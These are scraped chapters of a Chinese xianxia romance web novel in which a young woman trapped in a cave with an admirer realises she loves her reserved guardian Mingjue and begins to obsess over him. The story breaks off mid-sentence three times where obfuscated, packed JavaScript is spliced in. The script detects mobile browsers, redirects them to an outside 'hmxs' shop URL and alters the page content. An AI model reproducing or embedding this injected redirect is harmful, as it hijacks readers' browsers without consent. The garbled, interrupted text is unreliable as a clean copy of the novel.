洛逍正自怨自艾,冷不丁听到雪闻笙非但不生气,声音还这么温柔的关心自己,不由得一愣,抬起头,对上她那双在昏暗中流光潋滟的眼眸。那里面似乎盛满了担忧,与方才在上面那个冷若冰霜的她判若两人,他整个人晕乎乎的,骨头立刻就软了。 “我......我没事,就是擦破点皮,不要紧。”洛逍连忙摆摆手,心里的那点怨气也散了不少,“闻笙姑娘,你呢?你摔得重不重?可有哪里不舒服吗?” “我还好,”雪闻笙轻轻摇头,眉头却轻蹙了一下,仿佛在极力忍耐疼痛,“只是脚踝好像扭了一下,不碍事的。”她这副模样,柔弱中带着坚强,最能激起男子的保护欲了。 果然,洛逍一听她受伤了,立刻忘了自己身上的那点小伤小痛,连忙凑过来:“扭伤了?严不严重?快让我看看!”说着就要伸手。 雪闻笙下意识地缩了缩脚,脸上飞起一抹极淡的红晕,低声道:“不......不用了。此地阴寒,我们还是先想想怎么出去吧,等到了外面擦点药水就好了。”她巧妙地转移了话题,既维持了少女的矜持,又将洛逍的注意力引向了正题。 “对对对!”洛逍这才反应过来环境险恶,他抬头看了看高不可攀的洞口,又过去摸了摸光滑的石壁,试着向上攀爬了几次,眉头紧锁道:“哎呀,没想到这洞这么深,石壁又这么滑,不好上去啊......” 雪闻笙听了,沉默了一下,鼓励道:“再想想办法,你能行的。”她眼睛一眨不眨的望着洛逍。 怎么能让美人失望呢?于是洛逍试着运转体内真气,想要纵跃,但洞内空间狭小,他根本无处借力,有劲也使不出来,试了几次都徒劳无功。 “看来,只能等人来救了。”洛逍很快就累的冒了汗,泄气地坐在地上,有些沮丧。 他偷偷瞟了一眼雪闻笙,见她抱着膝盖安静的坐在一旁,微微低着头,不知道在想什么,只觉得她纤细的身影在寒雾中显得格外单薄可怜。洛逍心中又是怜惜又是自责,都是他不好,若不是他一时大意,也不会连累她跌落这寒洞里。 眼看时间慢慢到了日落,洞内的寒气也越来越重,两人身上的衣物本就单薄,此刻被洞底的湿气和寒气一浸,更是冷得刺骨。洛逍有修为傍身,还能运转真气抵御,雪闻笙却已经冻得嘴唇发紫,身子开始微微发抖了,她真的冷极了。 “这样下去不行,你会冻坏的。”洛逍见状,连忙站起身,“我看看能不能生堆火,有火就暖和了。”他在洞里摸索了一圈,幸运地找到一些经年累月掉落进来的枯枝,糟木还有干燥的苔藓,东边扒拉一点,西边拼凑一些,弄了好大一堆,他掏出随身携带的火折子,熟练地引燃了火种。 一小簇橘黄色的火焰跳跃起来,渐渐地驱散了些许黑暗和寒意,在石壁上投下摇曳的光影。 “快啊,过来烤烤火吧!你看,多暖喝啊。”洛逍连连招呼雪闻笙,想让她往这边坐过来一些。 雪闻笙抱着膝盖,慢吞吞的挪到火堆旁,伸出手靠近火焰,温暖的触感让她冻僵的手指稍微恢复了知觉。 洛逍看着跳跃的火光映照着她柔和的侧脸,长长的睫毛上似乎还沾着些许湿气,像沾染了晨露的蝶翼,心中又是一阵悸动,很快就觉得口干舌燥,他觉得再这么看下去很危险,得做点什么转移一下注意力,犹豫了一下,他扯开衣襟带子,开始动手解自己的外袍。 “你......你做什么?”雪闻笙警惕地抬起头,手里抓住一根树枝,大声质问他。 洛逍脸上露出一丝尴尬的笑容,解释道:“你别怕,别怕,我全身衣服都湿了,贴身穿在身上像寒冰一样。我......我脱下来烤干,你也最好把衣......额,把外衣脱下来烤烤,不然寒气入体,很容易生病的,你是个姑娘家,要是稍有不慎,以后留下病根就不好了。”他说着,已经将青色的道袍外衣脱了下来,露出里面白色的中衣。那中衣也被湿气浸透了,隐隐勾勒出男性结实挺拔的身形。 雪闻笙耳根微微发热,下意识地别开脸,不敢看他。长这么大,她从来没有如此近距离地,在一个非亲非故的男子面前,面对这样的尴尬的情形。 而洛逍却似乎没想那么多,他双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她强迫自己不去看,但是刚刚不经意间看见的那幅画面已经像烙印一样深深刻在了脑海里,不可否认,洛逍的身材很好,充满了青春的活力与诱惑。男人天生就对女人有吸引力,就像女人天生对男人有吸引力一样,何况,还是个裸着上半身的男人。 然而,就在这生理性的害羞与慌乱达到顶点的瞬间,一个身影,一个清冷、孤峭、穿着素白宽袍的身影,无比清晰地闯入了雪闻笙的心海——是明决。 此时此刻,她脑子里想起来的,是她晨起做早课时路过露台,看见明决在露台上静坐,那宽大雪白的衣袍下隐约可见他挺拔如松的脊背线条。在药圃,她跟在明决身后采摘,看见他俯身检查草药时,衣袖滑落露出的一截如玉般温润却潜藏着力量的手腕。还有,明决在书房里教导她研习,他偶尔执笔书写时,那专注神情下,颈项流畅而优美的弧度…… 洛逍的身体是炙热的,充满张扬生命力的,像一团燃烧的火焰。 而明决......明决是冷的,是内敛的,是如同远山积雪、寒潭深玉般的存在。他的魅力不在于外露的形体,而在于他深不可测的修为,那悲天悯人的胸怀,那隐忍到极致的风骨,以及......那无处不在、又遥不可及的清冷气息。明决的每一个动作,每一个神情,对她来说,都有着不可抗拒的吸引力,她忍不住想要靠近,靠近,靠的再近一点...... 以前,她只知道自己依赖他,眷恋他带给她的安宁,害怕被他抛弃。她将这种感情理解为雏鸟对庇护者的依恋,或者是对强大力量的自然向往。 可就在这一刻,在这个幽暗寒冷的洞穴里,面对着另一个充满男性魅力的身体,她心中浮现的,让她心驰神往,让她心跳失序的,却是那个永远理性、永远克制、永远与她保持着距离的明决! 她不是不懂男女之别,不是没有朦胧的感知。洛逍对她说的那番话,表露出的痴迷与热烈,像一面镜子,让她看清了自己心底早就已经悄然滋长,被她一直忽略,不敢承认的情感。 她喜欢明决。 不是妹妹对兄长的喜欢。 不是学生对师长的敬仰。 而是......一个女人对一个男人的喜欢。 是想要靠近,想要触碰,想要在他那古井无波的眼眸中,看到为自己而起的涟漪的那种喜欢。 这个认知,忽然出现在她心头,她瞬间僵住了,连洞里的害羞和寒冷都忘却了。一股复杂难言的情绪涌了上来,有豁然开朗的清明,有难以启齿的羞涩,有深知不可能的绝望,还有......一丝隐秘而坚定的甜蜜。 原来如此。 原来这些天她所有的郁闷、不安、患得患失,所有对洛逍的不屑一顾,根源都在这里,她真笨,怎么现在才发现。 “闻笙姑娘?闻笙,你怎么了?还是很冷吗?”洛逍烘烤着衣服,见她久久不语,低着头肩膀微缩,不由担心地问道。他转过身,想将烤干的外衣递给她披上。 雪闻笙瞬间回过神,看到他靠近陡然增大的脸庞和赤裸的上身,刚刚平复些许的心跳再次失控了。她慌乱地低下头,想掩饰什么,下意识接过了那件带着温暖火气的衣服,胡乱披在自己身上,声音细若蚊蚋:“我没事。谢谢。” 然后她才后知后觉,洛逍的衣服居然披在了自己身上。那衣服上,还残留着洛逍身上少年人的气息,以及淡淡的汗味。这气息让她感到不适,甚至有些排斥。她不由自主地裹紧了自己的衣服,想借此隔绝这陌生的男性气息,而在脑海中,那个清冷如雪松般的身影,却越发清晰起来。 她偷偷抬眼,看了看正在认真翻烤中衣的洛逍。他脸上带着满足的笑容,似乎能为她做点事就很开心。 雪闻笙在心中轻轻叹了口气。洛逍其实是个不错的人,可以说是个好人,可惜......他喜欢的是她,而她......他们俩永远也不会有结的。 洞内火光摇曳,映照着一坐一立的两个人。 一个满心以为拉近了距离,憧憬着美好的未来。一个已经在心底经历了一场惊心动魄的情感觉醒,明确了此生唯一的向往。虽然眼下出路尚未可知,但少女的心,却在这个阴寒的困境中,泛起了一簇足以燎原的点点星火。 11. 第 11 章 洛逍将烤好的中衣重新穿好,这小小火堆,驱散了刺骨的寒意,洞内的温度提升了些许。俗话说,饱暖思*淫*欲,他时不时就忍不住偷偷觑一眼对面,雪闻笙依旧抱着膝盖,沉默不语的,他心中又是欢喜,又是忐忑。 欢喜的是,这突如其来的困境,竟然发展成了他与雪闻笙独处的绝佳契机,刚开始他还懊恼自责,现在觉得自己可真是太聪明了,这里没有明决前辈的威慑,没有外界的打扰,只有他们两个人在这方与世隔绝的小天地里。他甚至觉得,这阴寒的洞穴,因了有她的存在,变得不那么难熬了。 他鼓足勇气,清了清嗓子,试图打破这令人心痒的沉默:“闻笙姑娘,你......你还冷吗?要不要再靠近火堆些?”他往旁边挪了挪,让出更靠近火焰的位置。 明亮的温暖多有吸引力啊,可雪闻笙眼皮都没有抬一下,轻轻摇了摇头,目光落在跳跃的火苗上,神思已经飘了。方才那阵认清自己心意而掀起的惊涛骇浪已经平息了,留下的是一种更加深沉,更加磨人的情绪——思念。 她从来没有像此刻这般,迫切地想要见到明决。 想看他清癯冷峻的眉眼,想听他的声音,想感受他冰雪一样冷冽好闻的气息。哪怕他只是像往常那样,用近乎刻板的语气教导她,或着是一句话也不说,沉默地在一旁翻阅典籍,只要她能待在他身边就好。 与这份汹涌的思念相比,眼前洛逍那小心翼翼的讨好和试图拉近距离的举动,显得如此苍白无力,甚至......惹人厌烦。 她对他,已经完全失去了任何兴趣,连最初那点将他当作消遣解闷的心思都荡然无存了。此刻的洛逍,在她眼中,与这洞里的石头,青苔并无本质区别,都是阻碍她回到明决身边的障碍。 “闻笙姑娘,你饿不饿?其实我身上还带着些干粮......”洛逍并没有气馁,变戏法一样,又从怀里掏出用油纸包好,有些被压扁的饼子,殷勤地递过去。 “不饿。”雪闻笙终于开口,声音冷淡疏离,连一个眼神都欠奉。 洛逍伸出的手僵在半空,脸上的笑容有些挂不住。他能清晰地感觉到,自从雪闻笙披上他的衣服,低头沉默之后,她周身的气息就变了。之前虽然也冷淡,但至少还有情绪起伏,会生气,会不耐,甚至偶尔会流露出一点点被他故事吸引的神情。可现在,她就像一口枯井,所有的情绪都被收敛了起来,只剩下一种让他感到无力和心慌的漠然。这姑娘寒冷,空洞,神秘不可测,他一时比较不出来是寒洞更冷还是她更冷。 “那......那你渴不渴?这洞壁上好像有渗水,应该是周边山涧透过来的,我看看能不能接一点......”他不死心,又站起身想去研究那湿滑的石壁。 “洛逍。”雪闻笙抬起头,目光平静地看向他,那眼神清澈见底,像隔着一层无形的冰墙,“安静些,可以吗?我在想事情。” 她的语气不算严厉,甚至带着一丝疲惫,但那种不容抗拒的意味,让洛逍所有的话都堵在了喉咙里。他张了张嘴,最终没再说什么,颓然地坐了回去,像个被大人训斥了的毛孩子,满心的热情被浇得透心凉。 他不再试图搭话,默默地往火堆里添着柴火,让那簇火焰维持着不灭。洞内再次陷入一片令人窒息的寂静,只有柴火偶尔发出的“噼啪”的轻响,以及不知从何处传来的水滴落入寒潭的“嘀嗒”声。 时间一点点流逝。雪闻笙维持着抱膝的姿势,一动不动,仿佛化作了一尊美丽的玉雕。谁也不知道,她的心早就已经飞出了寒洞,飞回了那熟悉的竹楼,飞到了那个清冷如月的人身边。 她在想,明决闭关结束了吗?他发现她不见了吗?他会......担心她吗? 这个念头令她心中既升起一丝隐秘的期盼,又伴随着巨大的惶恐。她怕他担心,更怕他......毫不在意。 现实没有给她过多纠结的时间,就在她思绪纷杂,度日如年的时候。 “轰隆”一声沉闷的巨响毫无预兆地从洞穴的侧面传来,仿佛是什么沉重的东西坍塌了!整个洞穴都随之震动了一下,簌簌落下不少灰尘和碎石。 雪闻笙和洛逍同时一惊,猛地站起身,警惕地望向声音来源。 只见侧面那原本被厚厚岩石和藤蔓封死的地方,竟然裂开了几道缝隙!耀眼的天光如同利剑一般从四面八方刺破了洞内的昏暗,带着山间特有的清冽气息,汹涌而入。 那光芒如此强烈,让在黑暗中待久了的两人都不自觉地眯起了眼睛。 紧接着,一个清冷、沉稳,仿佛带着山间云雾气息的声音,穿透了尘埃,清晰地传了进来,只有两个字,如同定海神针一般,瞬间锚定了雪闻笙几乎要跳出胸腔的心脏。 “闻笙。” 是明决! 是他!他来了! 明决在呼唤她的名字,雪闻笙浑身的血液仿佛在这一刻凝固了,随即又疯狂地奔流起来!狂喜、委屈、后怕......种种情绪像决堤的洪水,瞬间冲垮了她好不容易维持的冷静。她张了张嘴,想大声回应他,却发现喉咙像是被什么东西堵住了,发不出任何声音。只有那双眼睛,死死地盯着那透进天光的裂缝,瞬间蒙上了一层氤氲的水汽。 跟她一样心神激荡的还有洛逍,不过他是慌的。 在听到明决声音的一刹那,洛逍脸色“唰”地一下就变得惨白一片,他像被踩了尾巴的猫,一下子就炸毛了,猛地往里面跳开几步,远离了雪闻笙,洛逍眼神里满是惊慌和恐惧。要知道,他可是偷偷跑上山的,他师父不知道,明决更不知道。若是被明决前辈发现他深夜滞留尘寂山,还与雪闻笙一同困在这寒洞之中这么长时间,孤男寡女的,他就是有十张嘴也说不清了!他妄月师父知道了,定然重罚! 他慌乱地看了一眼激动得不能自已的雪闻笙,又看了看四周透光的裂缝,咬了咬牙,把一个什么小东西塞给雪闻笙,压低声音飞快道:“闻笙,快藏好!我......我不想走,但也不得不走了!你......你保重!” 说完,他甚至不敢再多看前方的裂缝一眼,更不敢奢望雪闻笙的回应,像惊弓之鸟一样,凭借着少年人的灵活和对危险的直觉,手脚并用地攀上洞内一处相对粗糙的岩壁,借着坍塌造成的混乱和光线的掩护,像一只灰溜溜的大老鼠,迅速消失在洞穴另一侧的阴影里,寻找着可能的,不为人知的其他出路,逃之夭夭了。 雪闻笙根本无暇顾及洛逍的离去,她的全部心神,都已经被洞外那个身影占据了。 她面前的裂缝处,尘埃缓缓落定,透过那个不算宽敞的缺口,可以看到外面苍翠的山色和澄澈的天空。一个素白的身影,静静地立在洞外不远处,背对着洞口,身姿挺拔如松,衣袂在涌入的山风中微微拂动。 他没有走进来。 他就那样站着,仿佛与这山、这云、这天地融为了一体,带着一种遗世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892644|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独立的清冷与不容亵渎的庄严。 雪闻笙用力吸了吸鼻子,抬手狠狠抹去眼角不受控制溢出的泪水,整理了一下有些凌乱的衣裙和鬓发。她深吸一口气,强迫自己镇定下来,然后,一步一步,向着那透射着天光,站立着她心之所向之人的出口走去。 每一步,都像踩在自己的心尖上,激动又忐忑、羞涩又渴望...... 她不知道自己怎么走到洞口的,终于迈步跨出了那方困住她许久的阴寒之地。温暖的阳光瞬间包裹住她,空气里带着清凉的草木清香,她有种恍如隔世之感。 她抬头,迫不及待地望向那个背对着她的身影,带着一丝怯怯的勇敢。 明决似乎听到了她出来的动静,缓缓转过身。 阳光勾勒出他棱角分明的侧脸轮廓,眼眸落在她身上,眼神依旧是那般清明透彻。没有任何追问,没有任何责备......没有任何明显的情绪波动。仿佛她只是去药圃逛了一圈就回来了,而不是刚刚从一个危险的寒洞中脱困。 雪闻笙澎湃的心湖,激起了一圈带着失落的小涟漪。她想象中的关切、紧张,统统都没有。 在下一刻,忽又传来明决的声音。 “可有受伤?” 他开口,声音平稳如常,听不出丝毫急切,是基于一种责任感的例行询问。 可就是这么平静的语气,又在雪闻笙心湖激起了一圈兴奋的小涟漪。她立刻将刚才那一丝失落的情绪压了下去,告诉自己,还能在阳光下再见到他,已是万幸了,不是吗。 “没......没有。”她低下头,声音还有些颤抖,不是因为害怕,而是因为面对他时,那汹涌而难以自持的情感,“哦,我的肩胛骨和脚踝稍微扭了一下,不过都不碍事,已经好了。” 她不敢看他,生怕自己眼中那几乎要满溢出来的爱慕与思念会被他看穿。 明决的目光在她略显苍白的脸上和微跛的脚踝上停留了一瞬,确认她安好,遂点了点头:“无事便好。回去吧。” 就这样? 他没有问她为什么离开竹楼,为什么会跌落寒洞,之前同谁在一起,发生了什么。他这样的态度,是一种超越凡俗的信任?还是......一种根本不曾放在心上的漠然? 雪闻笙无从分辨,也不敢深思。 她乖巧地应了一声:“嗯。” 明决不再多言,转身,沿着来时的山路,向竹楼方向走去。他的步伐从容不迫,背影挺拔而孤峭,仿佛刚才那举手投足间破开岩壁、将她从困境中解救出来的,并非是什么了不得的事情。 雪闻笙跟在他身后,保持着不远不急几步路的距离。目光流连在他那素白的衣袍上,流连在他如墨的黑发上,流连在他每一步都仿佛丈量过的沉稳的足迹上。 山风拂过,带来他身上那熟悉的混合了药草的气息。这气息熟稔,让她感到无比安心,也让她那颗为他而悸动的心,跳得更加剧烈了。 寒洞的这个小插曲,让她终于明确了自己的心意。 而这份心意,就像这尘寂山的云雾,看似轻柔,却厚重得将她整个人都笼罩其中,再也无法挣脱。 前路漫漫,他的心如止水,她的情愫暗涌。 这刚刚开始的牵绊,将会走向何方?雪闻笙不知道。她只知道,此刻,能这样跟在他身后,看着他,便已是她灰暗人生中,最明亮、最珍贵的时刻。 她会加倍珍惜的。 12. 第 12 章 不知不觉,自寒洞脱困已过去数日,一切仿佛都与从前无异。只有雪闻笙自己知道,有什么东西,已经彻底不同了。 她心底埋下的那颗种子,悄无声息地生了根,发了芽,已经长成了亭亭的莲,每一片舒展的叶,每一瓣待放的花苞,都盈满了同一个名字——明决。 以前,她看他,是仰望一座遥不可及的高山,是依赖一片可以提供庇护的浓荫。 如今,她看他,目光里掺杂了太多她自己都说不清,道不明的东西。 晨光熹微时,雪闻笙照常晨起做早课,露台是必经之地。 她停下脚步,看见明决依旧在露台静坐,晨曦为他周身镀上一层柔和的金边。雪闻笙不再像以前那样,匆匆一瞥就害羞的跑远了,或者只是为了找借口待在他身边而假装繁忙的修剪花枝。 这一次,她直接捧着一卷书,坐在离他不远不近的石阶上,目光全都粘在他身上。 她看他微阖的双目,那长而密的睫毛在眼睑下投下淡淡的阴影,像蝶翼栖息,让她无端想起话本里描述的“眉目如画”。她看他挺拔的鼻梁,线条如同山峦般清晰利落,带着一种的坚毅。她看他淡色的,总是紧抿着的唇,会在心底偷偷猜测,若是那唇角微微上扬,该是怎样惊心动魄的风景。 山风偶尔调皮地拂动他垂落的几缕墨发,掠过他线条完美的下颌。雪闻笙的心便会跟着那发丝的弧度轻轻一颤,仿佛那发梢不是拂过空气,而是搔在了她的心尖上,痒痒的,麻麻的。 明决吐纳的气息悠长而平稳,雪闻笙也会不自觉地调整自己的呼吸,试图与他同步,仿佛这样,就能在无形中与他更亲近一分。但是她总是憋不住气,沉不下心,几个回合下来,她的呼吸节奏慢慢的全乱套了,而他却依旧平稳。她在心里忍不住偷乐,算了,谁让他比她厉害呢。 当他结束静坐,缓缓睁开眼的刹那,那双深邃眼眸中尚未完全褪去的清明,总会让雪闻笙心跳漏掉一拍,随即又像小鹿般狂跳起来。她会慌忙低下头,假装专注地看着手中的书卷,脸颊却不受控制地飞起两抹红霞,连耳根都烫得厉害。 以往读书时,她若有不解之处,会直接捧着书去问明决。现在,她会先在心里反复斟酌措辞,想着该如何开口,才能显得自己既好学,又不那么愚笨,生怕在他面前露了怯,损了自己在他心中那一点点微末形象。 “明决,”她的声音放得比往常更轻柔了些,指着书上一段关于“阴阳化合”的论述,“此处言‘孤阴不生,独阳不长’,是不是就像这药圃中的花草,需得日照与雨露调和,方能生机勃勃?” 明决抬眸,目光掠过书卷,落在她所指之处,解答:“大道同源,理皆相通。阴阳互根,互相互用,消长转化。草木生长如此,人体阴阳亦如此,修行之道,亦是寻求体内阴阳二气的平衡与交融。” 他的解释依旧理性、精准,不带丝毫个人情绪。可听在雪闻笙耳中,尤其是“阴阳交融”四个字,竟让她心头猛地一跳,生出许多难以启齿的遐思来。她偷偷瞟了他一眼,见他神色如常,单纯的只是在论述最寻常的道理罢了,不由得暗自唾弃自己的心思不纯,脸上却烧得更厉害了。 又一日,晨光熹微,穿透书房窗户,将空气里浮动的细尘照成一条条淡金色的光路。墨香与陈旧书卷的气息交织,是独属于明决领域的味道。雪闻笙正屏息端坐在紫檀木书案的一侧。 明决在她身旁,微微倾身,指点她运笔的力道与结构:“手腕放平,这一笔,力要送到底。”他的声音不高,像玉石轻叩,却震得她心尖发颤。 要命的是,他的广袖,那质料细腻的袖缘,随着他示范运笔的动作,若有似无的,拂过她紧绷的手背。 “轰”的一下。 雪闻笙觉得那不是布料,是一块烧得通红的烙铁,直接印了上来。她皮肤表层泛起一阵细微的战栗,那触感稍纵即逝,快得像一个幻觉,可留下的灼痕却深深烙进肌理,钻进血脉,一路烫到心窝里去。她几乎要惊跳起来,心底有个声音在叫嚣:看呀,就是这里,就是这一小块皮肤,被他的衣角眷顾过的皮肤......她想用另一只手去紧紧捂住,藏起来,最好永远不再洗涤,就让那无形的印记渗入骨髓,永不愈合,成为她的独享。 其实对他来说,这只是最寻常不过的教导情景里,最微不足道的一次意外触碰。于他,是空山落雨,雨过无痕。但于她,却是荒原星火,足可燎尽整片心原。 这种隐秘的、近乎自虐的欢愉与痛楚,浸透了她每一个窥探他的日常。她观察他,是用信徒仰望神祇的虔诚,也是用狱卒审视囚徒的缜密,只是被囚禁的,是她自己愈发动荡的魂灵。 明决悬腕写字时,右手小指会不自觉地微微向内勾起一个矜持又优美的弧度,像含苞的兰蕊。她回到自己房间,在废弃的纸页背面,蘸着清水,一遍、十遍、一百遍......偷偷临摹那个弧度。笔尖干涸了,就用指尖在桌面上划刻,在蒙着水汽的窗上勾勒,直到那个弧度成为她闭着眼睛也能精准描绘的纹路。 明决饮茶时,她会借着低头磨墨的间隙,用眼尾最隐蔽的光去捕捉。青瓷杯沿贴上他的唇,热气氤氲了他低垂的睫影,然后,那喉结便会随之轻轻一滚。缓慢的,克制的,带着吞咽时极细微的滑动。这次,她的心跳诡异地与之同频了,而且自己的喉咙也像被无形的手抚过,泛起一阵干渴的躁动。 她开始留意他喝茶的习惯,早课后的第一盏最缓,查阅经书时会稍快,而心情似乎不错时,那滚动的节奏会带上一种她说不上来的,流畅舒服的韵律。这些观察简直无聊至极,但她乐此不疲,成了她每日最甘之如饴的功课。 她努力向他靠近,近乎偏执。 他喜静,她便强迫自己爱上原本觉得枯燥的“静心咒”,将每一个音节都想象成他行走时衣袂的窸窣声。他赞过某位先贤的字有风骨,她便寻来那人的拓片,彻夜比对,将原本柔媚的笔锋生生磨出几分冷硬的棱角,只盼他能瞥见时,眼底闪过一丝哪怕微不足道的认可。 她模仿他走路的步幅,学习他整理书卷时先拂袖再伸手的习惯,甚至一次又一次地调整自己呼吸的深浅,努力跟上他的节奏,仿佛这样,就能在看不见的维度里,与他同步,与他交融。 这份感情在不见天日的角落里疯长,阴湿而茂盛,像古井边蔓延的青苔,吸吮着偶尔漏进的月光和微不足道的雨露,便能滋生出一片冰凉而执拗的绿意。她沉溺于这种自我构筑的,充满细节的庞大爱恋之中,每一次心跳加速,每一次呼吸凝滞,都是独属于她的盛大仪式。 有一次明决临时想起什么事,走出去了,书房忽然只剩她一人,她怔楞的坐在书桌前,觉得空旷极了。 空气里还残留着他身上清冽的气息。她鬼使神差地,挪到了明决刚才坐过的位置。檀木椅面似乎还留有他身体的余温。她伸出手,极慢,极轻地抚过他曾倚靠的椅背,然后,像被什么牵引,缓缓低下头,将脸颊贴在他刚才放着手肘的案几边缘。 微凉的红木,贴着发烫的肌肤。她闭上眼,想象这是他衣袖的延伸,是他掌心无意的覆盖。呼吸间,全是他的味道。一种混合着巨大罪孽感和极致甜蜜的颤栗席卷了她,让她脚趾蜷缩,却又舍不得挪开分毫。 就在这时,门外传来熟悉的,不疾不徐的脚步声。 雪闻笙忽然惊破了迷梦,猛地弹起身,心脏狂跳得几乎要撞碎肋骨。她手忙脚乱地退回自己的座位,抓过笔,死死盯住眼前的字帖,每一个毛孔都在尖叫,血液冲上头顶。 “吱呀”一声,明决推门进来,目光如常,落在她绯红异常的耳根上时,略微一顿。 “怎么了?脸这样红?可有哪里不适?”他问,语气平淡无波。 雪闻笙攥紧了笔杆,指甲掐进掌心,用疼痛逼迫自己发出平静的声音:“没......没什么,方才练字,总写不好,有些急燥,气血上涌。” 明决也不再追问,走到案边,拿起她临摹的那张纸。他的目光扫过上面那些不自觉带上了他笔锋习惯的字迹,沉默了片刻。 那沉默对于雪闻笙而言,漫长得如同凌迟。他看出来了?他厌恶这种模仿?还是......他丝毫未曾察觉,这仅仅是她一人的惊涛骇浪? “形似三分,”他终于开口,声音听不出喜怒,“神髓未到。习字如修心,过执于形,反落了下乘。” 他是在说字,还是在点她? 雪闻笙低下头,应了一声“是”。她心底那疯狂滋长的藤蔓,仿佛被这淡淡的寒意冻得微微一缩,随即,却又更紧密,更顽固地缠绕上来,在无人可见的深处,蔓延出更幽暗的脉络。 怕他知道,这隐秘花园里不见光的罪恶与缠绵。 更怕他不知道,这里所有的炽热,战栗,与甘愿的沉沦,皆因他之名。 就连药圃的劳作,她也变得更加勤快了,木心童心也不如她勤快,她将每一株草药照料得无微不至。因为她觉得,这些都是明决珍视的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892645|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,她善待它们,便仿佛是在默默为他分担,是在用一种他或许永远不会知晓的方式,表达着她的心意。 她甚至会对着那些不会说话的花草,悄悄吐露心声。 “朱果啊朱果,你快快长大,长得红彤彤的,他看了定然欢喜。” “月华草,你今夜会开花吗?若是开了,我能不能......能不能邀他一同来看?” “清心藤,你说,他终日清修,心是不是真的如同古井,不起丝毫波澜?会不会......也有那么一瞬间,会因为某个人,某件事,而泛起一丝涟漪呢?” 她知道自己这些想法傻气又天真,如同痴人说梦,可沉浸在幻想中的少女,哪一个不是靠着这些自欺欺人的幻觉,来喂养心中那头名为“相思”的饕餮巨兽? 而夜晚,便成了她编织幻梦的工坊。 她躺在床榻上,横竖睡不着,不再因为先前诡异的梦境而惶恐,常常对着窗外的月光,回忆起白日里与明决相处的每一个细微瞬间。 细细数着他今天对她说了几句话? 他看她时的眼神,跟昨天相比有没有什么不同? 他接过她递去的茶水时,指尖有没有片刻的停顿? 这些微不足道的细节,被她反复回忆,反复咀嚼,添加上自己赋予的浪漫色彩,在心中搭建起一座华美的空中楼阁。她在脑海中描绘着无数对未来的美好憧憬: 或许有一天,他会被她的真诚打动,明决那双清冷的眼眸中,会映出她的身影。 或许有一天,他会放下经卷,与她一同漫步山间,看云卷云舒,而非总是探讨那些玄之又玄的大道理。 或许有一天,他会在她身边,不再是那个高高在上的明决,而只是一个会笑、会怒、会有七情六欲的......普通男人。 她沉溺在这自我构建的虚假的幻觉里,无法自拔,她觉得,这世间男子,再无人能及他分毫。 洛逍之流,热情外露,心思活络,像喧闹的集市,一览无余。而明决越是清高淡然,越是无意间流露出的那种不食人间烟火的高冷,她就越喜欢,越沉迷。 她开始格外注意自己的言行举止,穿着打扮。虽然山中并没有脂粉钗环,她也会每天将头发梳得整整齐齐,挑选颜色最鲜亮、最衬她肤色的衣裙来穿。在他面前,她努力表现得更加温顺、乖巧、善解人意,将那些之前因为梦境而偶尔升腾起的烦躁与阴郁死死压在心底,生怕流露出一丝一毫,让他心生不喜。 傍晚,晚霞漫天,将庭院染成一片温暖的橘红色。明决站在一株新移栽的灵药前,微微蹙着眉,似乎在思索着什么难题。夕阳的余晖落在他素白的衣袍上,柔和了他平日过于冷硬的线条,那专注的侧脸,在光影勾勒下,美得如同神祇雕像。 雪闻笙端着一碟刚洗好的水果站在廊下,一时看得痴了。其实她也不敢奢求太多,只愿这岁月静好,能一直持续下去就够了。也......愿他的目光,哪怕只有片刻,能真正为她而停留。 “你站在那里做什么?” 似乎察觉到了她的注视,明决并未回头,淡淡问了一句,目光依旧停留在那株灵药上。 雪闻笙猛地回过神,慌忙低下头,端着果碟走过去,声音细弱蚊蚋:“没......没什么。我洗了些果子,你......你要尝尝吗?” 明决终于转过头,扫过她手中红艳艳的果子,又掠过她低垂,泛着红晕的脸颊。 “放下吧。”他语气平淡,随即又转回头去,继续研究他的灵药,“今日的《黄帝内经》读到哪一篇了?可有不解之处?” “读......读到‘上古天真论’了。”雪闻笙将果碟放在一旁的石桌上,手指微微蜷缩,“暂时......暂时没有不解之处。” “嗯。那便去温习新篇章吧。”明决不再多言。 “好。”雪闻笙低声应了,依依不舍地看了他一眼,这才转身,一步三回头地走向书房。 她的背影纤细曼妙,在晚霞中仿佛笼罩着一层朦胧的光晕。那悄然滋生的情感,像藤蔓,悄无声息地缠绕了她整颗心,也忍不住试图向着那座冰冷雪山一点点蔓延。 只是,这方雪山依旧寂静,无知无觉。 而藤蔓的痴缠,最终是会迎来春暖花开,还是被冰雪无情冻毙? 答案无人知晓。 少女怀春的心事,在这暮色四合的山中,像一首无人聆听,甜蜜又忧伤的序曲,就这么悄然奏响了。 13. 第 13 章 雪闻笙怀揣着那份隐秘而滚烫的心事,脚步轻盈地走向书房,准备去“温习”那篇《上古天真论》。 